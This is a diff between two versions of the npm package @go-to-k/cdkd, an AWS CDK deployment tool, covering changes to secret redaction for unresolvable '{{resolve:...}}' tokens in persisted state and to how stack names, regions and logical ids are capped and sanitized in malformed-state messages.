@go-to-k/cdkd 0.290.37 → 0.290.39

package/dist/{deploy-engine-pVC4fG22.js → deploy-engine-Vze2lc-H.js}

@@ -1,6 +1,6 @@
-import { C as displayAwsMessage, D as truncateCodePoints, E as isPasteableIdent, S as UNRENDERABLE, T as displaySafe, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as displayIdent, x as STACK_REF_MAX_CODE_POINTS, y as withoutGeneratedFallbackName } from "./logger-BX4pJk0T.js";
+import { C as displayAwsMessage, D as truncateCodePoints, E as isPasteableIdent, S as UNRENDERABLE, T as displaySafe, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as displayIdent, x as STACK_REF_MAX_CODE_POINTS, y as withoutGeneratedFallbackName } from "./logger-BkcLg0jL.js";
 import { a as setAssumedRoleCredentials, i as getPreAssumeEnvCredentials, n as awsClientDefaults, o as setPreAssumeEnvCredentials, r as getAssumedRoleCredentials, t as SECOND_ROLE_PUBLISH_REFUSAL } from "./aws-client-defaults-BoIxyCir.js";
-import { t as getCdkdVersion } from "./version-COEQwjCP.js";
+import { t as getCdkdVersion } from "./version-DzcgAjCn.js";
 import { AsyncLocalStorage } from "node:async_hooks";
 import { createHash, randomUUID } from "node:crypto";
 import { CreateBucketCommand, DeleteObjectCommand, DeleteObjectsCommand, GetBucketLocationCommand, GetBucketReplicationCommand, GetObjectCommand, HeadBucketCommand, HeadObjectCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchKey, PutBucketEncryptionCommand, PutBucketPolicyCommand, PutObjectCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -15055,7 +15055,10 @@ function positionListByCrossStackSource(bag, source, secrets) {
 function redactByPath(bag, source, secrets, rules, secretExpressions, bagIsSameGeneration) {
 	if (isDynamicReferenceString(source) && typeof bag === "string") {
 		if (isSingleDynamicReferenceToken(source) && (rules.trustAnyExpression || isKnownSecretExpression(source, secretExpressions))) {
-			if (!rules.sourceIsSameGeneration && isSingleDynamicReferenceToken(bag)) return secrets.get(bag) ?? bag;
+			if (!rules.sourceIsSameGeneration && isSingleDynamicReferenceToken(bag)) {
+				if (!spanNamesResolvableService(bag)) return redactSecretsForState(bag, secrets);
+				return secrets.get(bag) ?? bag;
+			}
 			return source;
 		}
 		return positionByEmbeddedSpan(bag, source, secrets, bagIsSameGeneration);
@@ -15176,7 +15179,8 @@ function subtreeHasDynamicReference(value) {
 * compiling a pattern per string leaf at the persist choke point, which walks
 * every record. Do NOT call `.exec` / `.test` on this constant — those DO
 * advance `lastIndex`, which is exactly why the shared instance is safe only
-* for `.match`.
+* for `.match`. (ONE site does, `resolvableReferenceSpans`, and it resets
+* `lastIndex` to 0 in the statement after the `exec`.)
 *
 * Widening it changes one answer, in the SAFE direction for BOTH readers.
 *
@@ -15665,6 +15669,57 @@ const SECRET_BEARING_REFERENCE_PREFIXES = [
 	"{{resolve:ssm:"
 ];
 /**
+* Does this complete `{{resolve:...}}` token name a service cdkd RESOLVES?
+*
+* The value scan spares a needle match lying inside a token, so that a
+* plaintext coinciding with a real reference's own text is not spliced into
+* it (issue #1935). That protection is owed to a REFERENCE only. A token of
+* any other service is left in place by the resolver, so text inside it is
+* ordinary persisted text, and a recorded plaintext there must be redacted
+* (issue [#2743](https://github.com/go-to-k/cdkd/issues/2743)).
+*/
+function spanNamesResolvableService(token) {
+	return SECRET_BEARING_REFERENCE_PREFIXES.some((prefix) => token.startsWith(prefix));
+}
+/**
+* The spans of `value` the value scan must not splice a needle into: every
+* complete token of a resolvable service.
+*
+* Two scans, unioned. The ordinary one ({@link dynamicReferenceSpans}) is
+* LEFTMOST, so behind an opener of an unresolvable service it reports one
+* outer span and never sees a REAL reference nested in it — which is exactly
+* the text this module writes when it redacts `{{resolve:<plaintext>}}` to
+* `{{resolve:{{resolve:secretsmanager:...}}}}`. Dropping that outer span
+* alone would leave the nested reference unprotected, and a later pass whose
+* map holds a needle occurring in the reference's own text (`password` is an
+* ordinary JSON key AND an ordinary secret value) would splice into it, again
+* on every pass. The second scan starts only at a resolvable-service opener,
+* so it finds the nested reference — and keeps it only when it is an
+* expression of the pass's own map (see the loop).
+*
+* On a leaf with no unresolvable-service opener the two scans report the same
+* spans, so every leaf issue #1935 protects is answered exactly as before.
+*/
+function resolvableReferenceSpans(value, vouchedExpressions) {
+	const spans = dynamicReferenceSpans(value).filter((span) => spanNamesResolvableService(value.slice(span.start, span.end)));
+	const starts = new Set(spans.map((span) => span.start));
+	for (const prefix of SECRET_BEARING_REFERENCE_PREFIXES) for (let at = value.indexOf(prefix); at >= 0; at = value.indexOf(prefix, at + 1)) {
+		if (starts.has(at)) continue;
+		DYNAMIC_REFERENCE_TOKEN_SCAN.lastIndex = at;
+		const match = DYNAMIC_REFERENCE_TOKEN_SCAN.exec(value);
+		DYNAMIC_REFERENCE_TOKEN_SCAN.lastIndex = 0;
+		if (match?.index !== at) continue;
+		const end = at + match[0].length;
+		if (!vouchedExpressions.has(value.slice(at, end))) continue;
+		spans.push({
+			start: at,
+			end
+		});
+		starts.add(at);
+	}
+	return spans;
+}
+/**
 * The prefixes whose SPELLING settles secret-ness, with no lookup and no
 * inference — the subset of {@link SECRET_BEARING_REFERENCE_PREFIXES} that
 * {@link expressionSecretIsInferred} treats as certain.
@@ -16069,7 +16124,7 @@ function deriveReadbackNeedles(bag, source, secrets, rules) {
 */
 function refuseUncertifiedSubtree(value, sourceLiterals, mark, seen = /* @__PURE__ */ new Map()) {
 	if (typeof value === "string") {
-		if (isSingleDynamicReferenceToken(value) || sourceLiterals.has(value)) return value;
+		if (isSingleDynamicReferenceToken(value) && spanNamesResolvableService(value) || sourceLiterals.has(value)) return value;
 		if (value === "") return value;
 		return mark ? POSITION_UNCERTIFIED : "***";
 	}
@@ -16371,6 +16426,16 @@ function redactSecretsForState(bag, secrets, source, rules = TEMPLATE_DERIVED_RU
 	*   security review, and the reason the rule is one predicate over the whole
 	*   leaf rather than a split.
 	* - **disjoint from every span** -> REPLACED. The ordinary embedded secret.
+	* - **inside a span whose service cdkd does not resolve** -> REPLACED (issue
+	*   [#2743](https://github.com/go-to-k/cdkd/issues/2743)). Such a span is not
+	*   a reference: `{{resolve:<plaintext>}}` is what an `Fn::Sub` putting a
+	*   resolved secret in the SERVICE position assembled, and sparing it
+	*   persisted the plaintext. The result, `{{resolve:{{resolve:...}}}}`, is
+	*   garbage but not plaintext, the same trade as the stray-opener residual
+	*   below; the REAL reference nested in it is protected again
+	*   ({@link resolvableReferenceSpans}). The cost: an untainted look-alike
+	*   token whose text coincides with a recorded secret is rewritten like any
+	*   other text, and a replay then sends the rewritten literal.
 	*
 	* Scanning the WHOLE leaf in ONE pass is also what preserves what needle
 	* PRECEDENCE there is. {@link buildNeedleRegex} sorts alternatives
@@ -16399,8 +16464,9 @@ function redactSecretsForState(bag, secrets, source, rules = TEMPLATE_DERIVED_RU
 	*   PLAINTEXT behind two characters any string can contain.
 	* - **a later `}}` anywhere in the leaf** -> the opener and that `}}` form
 	*   ONE span swallowing everything between them, so a needle in that region
-	*   is KEPT — the only shape where this rule redacts LESS than the code it
-	*   replaced. Narrow but real, and the reachable carrier is named rather than
+	*   is KEPT when the opener spells a resolvable service (`{{resolve:ssm:`
+	*   ...; any other opener is the unresolvable-service row above) — the only
+	*   shape where this rule redacts LESS than the code it replaced. Narrow but real, and the reachable carrier is named rather than
 	*   waved at: the resolver shares this grammar, so such a leaf could not have
 	*   resolved on the deploy path, which leaves an `observedProperties`
 	*   READBACK (arbitrary text from AWS) as the way one arrives.
@@ -16411,8 +16477,10 @@ function redactSecretsForState(bag, secrets, source, rules = TEMPLATE_DERIVED_RU
 	* contradicting this change's own "not repaired, not made worse" property.
 	* So the residual is documented, not fixed.
 	*/
+	let vouched;
+	const vouchedExpressions = () => vouched ??= new Set(secrets.values());
 	const scanLeaf = (value, needles) => {
-		const spans = isDynamicReferenceString(value) ? dynamicReferenceSpans(value) : [];
+		const spans = isDynamicReferenceString(value) ? resolvableReferenceSpans(value, vouchedExpressions()) : [];
 		return value.replace(needles, (match, offset) => {
 			const end = offset + match.length;
 			if (spans.some((span) => span.start <= offset && end <= span.end && (span.start !== offset || span.end !== end))) return match;
@@ -16423,7 +16491,7 @@ function redactSecretsForState(bag, secrets, source, rules = TEMPLATE_DERIVED_RU
 		if (typeof value === "string") {
 			const whole = wholeValueExpr(value);
 			if (whole !== void 0) return whole;
-			if (isSingleDynamicReferenceToken(value)) return value;
+			if (isSingleDynamicReferenceToken(value) && spanNamesResolvableService(value)) return value;
 			if (!regex) return value;
 			regex.lastIndex = 0;
 			if (!regex.test(value)) return value;
@@ -21005,10 +21073,12 @@ function findUnrecognizedProperties(resourceType, templateProperties) {
 //#endregion
 //#region src/state/malformed-resources-bag.ts
 /**
-* The identifier cap every message here uses unless a caller says otherwise.
-* See {@link safeIdentifier} for why it is a parameter at all.
+* The row name a READ-ONLY command reports for a record whose whole `resources`
+* map is unreadable — `cdkd drift` as a `notCompared` outcome and `cdkd diff`
+* as an unreadable row. Parenthesised so it cannot be mistaken for a logical
+* id, which CloudFormation keeps alphanumeric.
 */
-const IDENT_CAP_DEFAULT = 128;
+const UNREADABLE_RESOURCES_MAP_ROW = "(resources map)";
 /** The error code every malformed-record refusal carries, whatever its class. */
 const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
 /**
@@ -21046,6 +21116,17 @@ function hasReadableOutputs(state) {
 	return state.outputs === void 0 || isReadableBag(state.outputs);
 }
 /**
+* The cap for a value whose grammar is SHORT — an AWS region, or the name of a
+* state container. Unchanged from the literal this module used for every
+* identifier before go-to-k/cdkd#3018 made the cap a parameter, so no message
+* carrying either moves.
+*
+* A logical id does NOT share it: CloudFormation allows 255 characters there
+* (`IDENT_MAX_CODE_POINTS`), and a legitimate 129-to-255-character CDK id cut at
+* 128 renders as a name the record does not hold.
+*/
+const SHORT_NAME_MAX_CODE_POINTS = 128;
+/**
 * The shared explanation, in the terms the reader needs: what is wrong, what
 * to look at, and what NOT to do next.
 *
@@ -21079,28 +21160,102 @@ function hasReadableOutputs(state) {
 * stays private. The pair here is not duplicated: what differs is the
 * `shellQuote` composition every message in THIS module needs and that one
 * must not have.
-*/
-function safeIdentifier(value, maxCodePoints = IDENT_CAP_DEFAULT) {
+*
+* The helper itself carries no `buildForceUnlockCommand`-style exactness gate,
+* which SUPPRESSES a whole command when sanitizing changed the value. The
+* difference is what the command DOES: `cdkd force-unlock` deletes another
+* process's lock, so naming a stack that is not quite the record's is
+* destructive and suppressing is right. The command most texts here end on is
+* `cdkd state show`, which reads; emitting it with a sanitized name leads the
+* reader either to "no state found for ..." or to a sibling record the name
+* now matches, which a read shows them as healthy. Neither changes anything,
+* where emitting NOTHING leaves a broken record with no next step at all. A
+* text that points at a command which WRITES owns the gate at its own site:
+* {@link malformedDestroyResourcesRefusalMessage} names no target unless both
+* identifiers render exactly, and gives `cdkd state orphan` as a template.
+*/
+function safeIdentifier(value, maxCodePoints) {
 	const safe = displaySafe(value, { asciiOnly: true });
 	if (!safe) return UNRENDERABLE;
 	const { text, truncated } = truncateCodePoints(safe, maxCodePoints);
 	return truncated ? `${text}...` : text;
 }
 /**
+* A stack name, which a nested chain makes legitimately long.
+*
+* Safe for a command that only READS. A caller building a command that WRITES
+* owns an exactness gate as well — print the command only when this returns the
+* value unchanged, since a name sanitizing altered can resolve to a different
+* stack — whenever the identity can hold characters sanitizing alters: anything
+* not already validated, whether a user typed it or the record supplied it.
+* `reportDriftBaselineGaps` (`src/cli/commands/export.ts`) gates its
+* `refresh-observed` command for that reason: `cdkd export --template` takes
+* the stack name as a free-typed positional, and the record BODY is a second
+* source when a caller omits the loaded identity. A synthesized stack name is
+* not an exception by itself — a prebuilt cloud assembly's name is read
+* unvalidated — which is why `dropRecordCommand` gates its substitution on
+* {@link rendersExactly} (go-to-k/cdkd#3360, closed by go-to-k/cdkd#3363).
+*/
+function safeStackName(value) {
+	return safeIdentifier(value, STACK_REF_MAX_CODE_POINTS);
+}
+/** An AWS region. */
+function safeRegion(value) {
+	return safeIdentifier(value, SHORT_NAME_MAX_CODE_POINTS);
+}
+/**
+* A CloudFormation logical id, as it appears in a LIST of ids — which is the
+* only way this module and its callers print one.
+*
+* NOT {@link safeIdentifier}, although it is the obvious third sibling, and it
+* used to be exactly that. `displaySafe` TRIMS, so a sanitize-then-quote pair
+* renders a torn `resources["Bucket "]` byte-identically to a healthy sibling
+* `Bucket`, and the message sends the reader to the intact record while the
+* damaged one goes unnamed. `displayIdent` compares the sanitized text with the
+* raw one and JSON-quotes whenever they differ, so a padded or rewritten id can
+* never render bare. Past that, what it shows is judged on the text it KEEPS:
+* a kept part holding a character outside the plain-identifier set (`'`, a
+* space) is wrapped in double quotes with an embedded `"` escaped, so text an
+* id plants on a line that ends in a pasteable command stays visibly inside one
+* quoted token. A cut id is followed by `[cut: N more characters withheld]`,
+* which cannot be read as part of it — so a plain 255-character prefix renders
+* bare with that marker even when the withheld tail held a `'`, and nothing of
+* the tail is shown. An id with nothing renderable left is the bare
+* `<unrenderable>` stand-in. A
+* bare `,` inside a plain id still reads as two entries in a `', '`-joined list
+* — the residual go-to-k/cdkd#3179 records for every caller of the helper. That
+* is the answer go-to-k/cdkd#3317 recorded for
+* `namedPropertyBagsClause`; this is the same rule for the other lists, so two
+* sibling clauses in one module cannot give opposite answers.
+*
+* Capped at `IDENT_MAX_CODE_POINTS`, a logical id's own limit, rather than a
+* region-sized cut that would name no record.
+*/
+function displayLogicalId(value) {
+	return displayIdent(value, { maxCodePoints: 255 });
+}
+/**
 * The DIAGNOSIS sentence itself, with no identity and no remedy in it.
 *
-* ONE spelling, for the reason {@link malformedStateDetail} gives for existing
-* at all: two copies of a diagnosis are what drift. It is extracted because
+* ONE spelling, because two copies of a diagnosis are what drift. It is extracted because
 * {@link malformedDestroyResourcesRefusalMessage} needs the same sentence
 * under an identity it does NOT trust, where the detail's substituted
 * `cdkd state show` command must not appear — a difference in the COMMAND, not
 * in the diagnosis.
 */
 const MALFORMED_RESOURCES_DIAGNOSIS = "has no readable 'resources' map — the record is malformed or truncated. Both 'cdkd deploy' and 'cdkd destroy' REFUSE such a record rather than acting on it: they read the same map, an unreadable one is indistinguishable from an empty stack, and acting on that reading would make a deploy re-CREATE every resource and a destroy delete none of them.";
-function malformedStateDetail(stackName, region, maxCodePoints = IDENT_CAP_DEFAULT) {
-	const stack = safeIdentifier(stackName, maxCodePoints);
-	const reg = safeIdentifier(region, maxCodePoints);
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) ${MALFORMED_RESOURCES_DIAGNOSIS} Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+/**
+* `region` is optional for ONE caller's sake: `cdkd export`'s baseline report,
+* whose loaded region is absent when the record it loaded is a legacy
+* region-less one and no synth region was available to stand in for it. A placeholder there would put a `--stack-region` into a
+* command the reader pastes that selects no record at all — so an absent
+* region drops the clause and the flag rather than inventing one.
+*/
+function malformedStateDetail(stackName, region) {
+	const stack = safeStackName(stackName);
+	const where = region === void 0 ? "" : ` (${shellQuote(safeRegion(region))})`;
+	const regionFlag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeRegion(region))}`;
+	return `State for ${shellQuote(stack)}${where} ${MALFORMED_RESOURCES_DIAGNOSIS} Inspect it with: cdkd state show ${shellQuote(stack)}${regionFlag} --json`;
 }
 /**
 * For a READ-ONLY command: give the record an empty resource bag so the
@@ -21265,23 +21420,23 @@ function malformedStateRefusalMessage(stackName, region) {
 * because a LEGACY record has no key region at all, in which case the value
 * printed is the CLI's own and `--stack-region` must be omitted.
 *
-* **The cap this arm measures against is `STACK_REF_MAX_CODE_POINTS`, not the
-* 128 every other text in this module uses**, and it is threaded rather than
-* hard-coded because the VERDICT turns on it. At 128 an ordinary multi-level
-* CDK nested child (`<root>~<...NestedStackResource><hash>~<...>`, measured
-* past 150 code points) truncates, fails `exact`, and takes the withhold arm
-* on a HEALTHY record — which is fail-safe but makes the fallback the common
-* path for exactly the nested destroys this lane added a guard to (review
-* round 2 of go-to-k/cdkd#3332). The bound is still a bound: a planted
-* multi-kilobyte name is truncated at 1152 and lands in the withhold arm.
+* **The VERDICT turns on the identifier caps**, which is why the stack name is
+* measured through {@link safeStackName} (`STACK_REF_MAX_CODE_POINTS`) and the
+* region through {@link safeRegion} (128, which no real region approaches). At
+* 128 an ordinary multi-level CDK nested child
+* (`<root>~<...NestedStackResource><hash>~<...>`, measured past 150 code
+* points) truncates, fails `exact`, and takes the withhold arm on a HEALTHY
+* record — which is fail-safe but makes the fallback the common path for
+* exactly the nested destroys this lane added a guard to (review round 2 of
+* go-to-k/cdkd#3332). The bound is still a bound: a planted multi-kilobyte name
+* is truncated at 1152 and lands in the withhold arm.
 *
 * Identifiers are sanitized and THEN shell-quoted, for the reasons
 * {@link safeIdentifier}'s note gives.
 */
 function malformedDestroyResourcesRefusalMessage(stackName, region) {
-	const cap = STACK_REF_MAX_CODE_POINTS;
-	const exact = safeIdentifier(stackName, cap) === stackName && safeIdentifier(region, cap) === region;
-	return `${exact ? malformedStateDetail(stackName, region, cap) : `${stackClause(void 0, void 0)} ${MALFORMED_RESOURCES_DIAGNOSIS}`} This command DELETES state, so it refuses rather than continuing: the resource map IS the list of what to delete, so an unreadable one counts as ZERO resources and the run takes the empty-stack fast path, which removes state.json and reports success while every resource the record named is still live in AWS and no longer referenced by anything. Reading the bag as EMPTY is that same outcome rather than an alternative to it, so there is no repair available here. Repair or remove the record first. ${exact ? "To drop the record deliberately and leave the live resources standing, run 'cdkd state orphan' against the stack and the region THE RECORD'S S3 KEY holds — spelled out rather than pasteable, because that command DELETES a record and the region printed above is the one cdkd was pointed at, not a value cdkd owns. Confirm the key with 'cdkd state list --long' — a legacy record shows none, and for one of those the flag must be OMITTED or it selects nothing — then: cdkd state orphan <stack> --stack-region <region>" : `This record's stack name or region does NOT render exactly — what is printed above is a sanitized form, and another record may render identically — so this message names no target and offers no command against one. List the records as stored with 'cdkd state list --long', which prints a name needing sanitizing in quoted form, and act on the one whose key matches. Inspect it with: ${inspectCommand(void 0, void 0)}`}`;
+	const exact = safeStackName(stackName) === stackName && safeRegion(region) === region;
+	return `${exact ? malformedStateDetail(stackName, region) : `${stackClause(void 0, void 0)} ${MALFORMED_RESOURCES_DIAGNOSIS}`} This command DELETES state, so it refuses rather than continuing: the resource map IS the list of what to delete, so an unreadable one counts as ZERO resources and the run takes the empty-stack fast path, which removes state.json and reports success while every resource the record named is still live in AWS and no longer referenced by anything. Reading the bag as EMPTY is that same outcome rather than an alternative to it, so there is no repair available here. Repair or remove the record first. ${exact ? "To drop the record deliberately and leave the live resources standing, run 'cdkd state orphan' against the stack and the region THE RECORD'S S3 KEY holds — spelled out rather than pasteable, because that command DELETES a record and the region printed above is the one cdkd was pointed at, not a value cdkd owns. Confirm the key with 'cdkd state list --long' — a legacy record shows none, and for one of those the flag must be OMITTED or it selects nothing — then: cdkd state orphan <stack> --stack-region <region>" : `This record's stack name or region does NOT render exactly — what is printed above is a sanitized form, and another record may render identically — so this message names no target and offers no command against one. List the records as stored with 'cdkd state list --long', which prints a name needing sanitizing in quoted form, and act on the one whose key matches. Inspect it with: ${inspectCommand(void 0, void 0)}`}`;
 }
 /**
 * For `cdkd destroy` / `cdkd state destroy`: refuse a record whose `resources`
@@ -21499,9 +21654,9 @@ function refuseMalformedResourcesForDeploy(state, stackName, region) {
 * English (review of go-to-k/cdkd#3190).
 */
 function malformedRenderedContainersWarning(stackName, region, containers) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
+	const names = containers.map((name) => `'${safeIdentifier(name, SHORT_NAME_MAX_CODE_POINTS)}'`).join(", ");
 	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
 }
 /** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
@@ -21582,8 +21737,8 @@ function repairMalformedOutputsForReadOnly(state) {
 * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
 */
 function malformedOutputsWarning(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
 	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
 }
 /**
@@ -21629,8 +21784,8 @@ function refuseMalformedState(state, stackName, region) {
 * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
 */
 function malformedOutputsRefusalMessage(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
 	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
 }
 /**
@@ -21655,8 +21810,8 @@ function malformedOutputsRefusalMessage(stackName, region) {
 * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
 */
 function malformedExportSourceWarning(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
 	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
 }
 /**
@@ -21684,8 +21839,8 @@ function malformedExportSourceWarning(stackName, region) {
 * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
 */
 function malformedExportNamesWarning(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
 	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
 }
 /**
@@ -21745,8 +21900,8 @@ function refuseMalformedOutputs(state, stackName, region) {
 * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
 */
 function malformedDestroyOutputsRefusalMessage(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
 	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command DELETES state, so it refuses rather than continuing: it reads this bag to decide whether the stack might export anything, and that decision gates the cross-stack check that refuses to delete a producer another stack still imports from. A string or a list invents one export name per character or element; a null, a number or a boolean reads as 'exports nothing' and SKIPS the check entirely, deleting the record while consumers still resolve against it. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
 }
 /**
@@ -21787,8 +21942,8 @@ function refuseMalformedOutputsForDestroy(state, stackName, region) {
 * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
 */
 function malformedNestedChildOutputsRefusalMessage(childStackName, region) {
-	const stack = safeIdentifier(childStackName);
-	const reg = safeIdentifier(region);
+	const stack = safeStackName(childStackName);
+	const reg = safeRegion(region);
 	return `State for nested stack child ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. The parent's 'Outputs.<Key>' attributes are REBUILT from this bag and persisted into the PARENT's record, and 'Object.entries' walks a string or a list as readily as a map — so a six-character value would become six fabricated parent attributes that every Fn::GetAtt against this nested stack then resolves into live AWS calls. The deploy refuses rather than fabricating them. Repair or remove the child's record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
 }
 /**
@@ -21838,8 +21993,8 @@ function refuseMalformedNestedChildOutputs(state, childStackName, region) {
 * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
 */
 function malformedLocalOutputsWarning(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
 	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so reading it would hand this local run one FABRICATED output per character or element. Continuing with it EMPTY: every reference to an output of this record resolves to nothing and is dropped, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
 }
 /** How many logical ids a `properties` message names before it says "and N more". */
@@ -21874,8 +22029,8 @@ const NAMED_UNREADABLE_PROPERTY_BAGS = 5;
 */
 function stackClause(stackName, region) {
 	if (stackName === void 0) return "The state record this command loaded";
-	const where = region === void 0 ? "" : ` (${shellQuote(safeIdentifier(region))})`;
-	return `State for ${shellQuote(safeIdentifier(stackName))}${where}`;
+	const where = region === void 0 ? "" : ` (${shellQuote(safeRegion(region))})`;
+	return `State for ${shellQuote(safeStackName(stackName))}${where}`;
 }
 /**
 * The DESTRUCTIVE remedy, built the way {@link inspectCommand} builds the
@@ -21944,8 +22099,9 @@ function dropRecordCommand(stackName, region, recovery) {
 /**
 * Whether an identity survives {@link safeIdentifier} UNCHANGED at the
 * state-record grammar's cap, so a command or a key built from it addresses the
-* record the message is about. The cap is `STACK_REF_MAX_CODE_POINTS`, not the
-* 128 the prose uses: `cdkd orphan` reads a PREBUILT assembly's stack name
+* record the message is about. The cap is `STACK_REF_MAX_CODE_POINTS` — the cap
+* the prose also cuts a stack name at, never a region's 128 — because
+* `cdkd orphan` reads a PREBUILT assembly's stack name
 * unvalidated, so a manifest can carry one past 128 that is nonetheless the
 * record's real key, and truncating it names nothing — the same bound
 * `malformedDestroyResourcesRefusalMessage` uses, reached from a different
@@ -21957,8 +22113,8 @@ function dropRecordCommand(stackName, region, recovery) {
 * ({@link orphanInspectClause}) — so no two of them can disagree about a name
 * (go-to-k/cdkd#3363 review, M0 and M2). What it does NOT cover yet: the
 * destroy refusal and the divergent-region refusal above still spell the same
-* test inline, and the shared {@link inspectCommand} is ungated at 128 for its
-* other callers.
+* test inline, and the shared {@link inspectCommand} is ungated for its other
+* callers (it renders the stack at that same cap, the region at 128).
 */
 function rendersExactly(value) {
 	return safeIdentifier(value, STACK_REF_MAX_CODE_POINTS) === value;
@@ -21966,8 +22122,8 @@ function rendersExactly(value) {
 /** The remedy command {@link stackClause}'s message ends on. */
 function inspectCommand(stackName, region) {
 	if (stackName === void 0) return `cdkd state show ${commandHole("stack")} --stack-region ${commandHole("region")} --json`;
-	const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeIdentifier(region))}`;
-	return `cdkd state show ${shellQuote(safeIdentifier(stackName))}${flag} --json`;
+	const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeRegion(region))}`;
+	return `cdkd state show ${shellQuote(safeStackName(stackName))}${flag} --json`;
 }
 /**
 * The logical ids whose resource record carries a `properties` bag that cannot
@@ -21992,11 +22148,18 @@ function inspectCommand(stackName, region) {
 * it is one of the two shapes that used to die on a bare `TypeError` naming no
 * stack, no key and no remedy (`Cannot convert undefined or null to object`).
 *
-* An entry that is not a readable OBJECT is SKIPPED rather than named, so this
-* verdict is ORDER-INDEPENDENT with respect to the entry-level guard
-* go-to-k/cdkd#3226 adds: a `null` entry has no `properties` to test, and
-* reading one off a string entry would name a per-character defect that is
-* really the entry's. Likewise a `resources` bag that is not readable at all
+* An entry that is not a readable OBJECT is SKIPPED rather than named: a `null`
+* entry has no `properties` to test, and reading one off a string entry would
+* name a per-character defect that is really the entry's. That makes this
+* verdict independent of {@link unreadableResourceEntries} for every entry
+* that is not an object — but NOT for an object with no `resourceType` whose
